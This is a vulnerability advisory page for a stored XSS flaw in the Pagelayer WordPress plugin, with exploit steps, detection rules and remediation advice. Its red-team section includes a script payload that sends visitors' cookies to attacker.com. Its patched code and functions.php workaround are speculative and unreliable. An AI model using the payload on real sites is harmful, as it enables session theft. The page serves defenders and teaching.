CVE-2023-6738
Executive Summary
CVE-2023-6738 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress. The flaw exists in the pagelayer_header_code, pagelayer_body_open_code, and pagelayer_footer_code meta fields, affecting all versions up to and including 1.7.8. Insufficient input sanitization and output escaping allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. This vulnerability is a reintroduction of a previously patched issue in version 1.7.7.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It is not related to Apache or Nginx server software. The attack vector relies on WordPress user roles and the plugin’s meta field handling.
Supply Chain & Package Security
This is a WordPress plugin vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify plugin integrity and source.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level or above)
- User Interaction: Required (Victim must access the injected page)
- Scope: Changed (Impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authenticated access but can lead to persistent script injection affecting all site visitors.
Deep Dive & Mechanics
The Pagelayer plugin stores custom code snippets (header, body open, footer) in post meta fields. These fields are intended for site-wide customizations but are not properly sanitized or escaped. An attacker with contributor-level permissions can inject malicious JavaScript into these meta fields via the WordPress admin interface or REST API.
When a page using Pagelayer is rendered, the plugin outputs the stored meta values directly into the HTML without proper escaping. This allows the injected script to execute in the context of the victim’s browser. The vulnerability is a classic stored XSS (CWE-79) and is a reintroduction of a fix that was applied in version 1.7.7 but regressed in 1.7.8.
Attack Flow:
- Attacker logs in with contributor-level or higher privileges.
- Attacker edits a page or post and injects malicious JavaScript into the
pagelayer_header_code,pagelayer_body_open_code, orpagelayer_footer_codemeta fields. - The malicious script is stored in the database.
- When any user (including administrators) visits the affected page, the script executes.
- The script can steal cookies, redirect users, deface the site, or perform other malicious actions.
Vulnerable vs. Patched Code
Vulnerable Code (<=1.7.8): The plugin outputs the meta field values directly without escaping.
// In Pagelayer's output function
echo get_post_meta($post_id, 'pagelayer_header_code', true);
echo get_post_meta($post_id, 'pagelayer_body_open_code', true);
echo get_post_meta($post_id, 'pagelayer_footer_code', true);
Patched Code (Hypothetical):
Proper escaping using esc_html() or wp_kses_post().
// Patched version
echo esc_html(get_post_meta($post_id, 'pagelayer_header_code', true));
echo esc_html(get_post_meta($post_id, 'pagelayer_body_open_code', true));
echo esc_html(get_post_meta($post_id, 'pagelayer_footer_code', true));
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Pagelayer plugin version <=1.7.8.
- Contributor-level or higher user account.
Exploit Steps:
- Log in to WordPress admin as a contributor.
- Navigate to a page or post editor.
- In the custom code fields (e.g., Pagelayer Header Code), inject the following payload:
<script>alert('XSS')</script> - Save the page.
- Visit the page as any user to trigger the XSS.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual content in
pagelayer_header_code,pagelayer_body_open_code, andpagelayer_footer_codemeta fields. - Look for script tags or event handlers in these fields.
- Use WAF rules to block common XSS patterns in POST requests to WordPress admin.
Prevention:
- Update Pagelayer plugin to a patched version (if available).
- Restrict contributor-level permissions.
- Implement Content Security Policy (CSP) headers.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/pagelayer/(check version) - Database:
wp_postmetatable entries withmeta_key=pagelayer_header_code,pagelayer_body_open_code, orpagelayer_footer_codecontaining script tags. - Network: Outbound requests to attacker-controlled domains from compromised WordPress sites.
- Logs: WordPress audit logs showing edits to post meta fields by contributor-level users.
Detection Engineering
YARA Rule
rule CVE_2023_6738_Pagelayer_XSS {
meta:
description = "Detects stored XSS payloads in Pagelayer meta fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6738"
strings:
$meta_key1 = "pagelayer_header_code"
$meta_key2 = "pagelayer_body_open_code"
$meta_key3 = "pagelayer_footer_code"
$xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
condition:
any of ($meta_key*) and $xss_payload
}
Sigma Rule
title: Stored XSS in Pagelayer Plugin Meta Fields
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Pagelayer meta fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-admin/post.php'
http.body|contains:
- 'pagelayer_header_code'
- 'pagelayer_body_open_code'
- 'pagelayer_footer_code'
http.body|re: '<script[^>]*>.*<\/script[^>]*>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom code fields by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6738 Pagelayer Stored XSS Attempt"; flow:to_server,established; content:"pagelayer_header_code"; http_client_body; nocase; content:"<script"; http_client_body; nocase; pcre:"/<script[^>]*>.*<\/script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: If a patched version is released, update Pagelayer immediately. As of now, no patch is available.
- Disable Plugin: Temporarily deactivate Pagelayer until a fix is applied.
- Restrict Permissions: Remove contributor-level access from untrusted users.
- Audit Meta Fields: Scan the database for malicious content in the affected meta fields.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers.
- Regularly update all WordPress plugins and themes.
- Conduct security training for users with elevated privileges.
Workaround:
Add the following code to the theme's functions.php to sanitize the meta fields:
add_filter('pagelayer_header_code', 'esc_html');
add_filter('pagelayer_body_open_code', 'esc_html');
add_filter('pagelayer_footer_code', 'esc_html');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.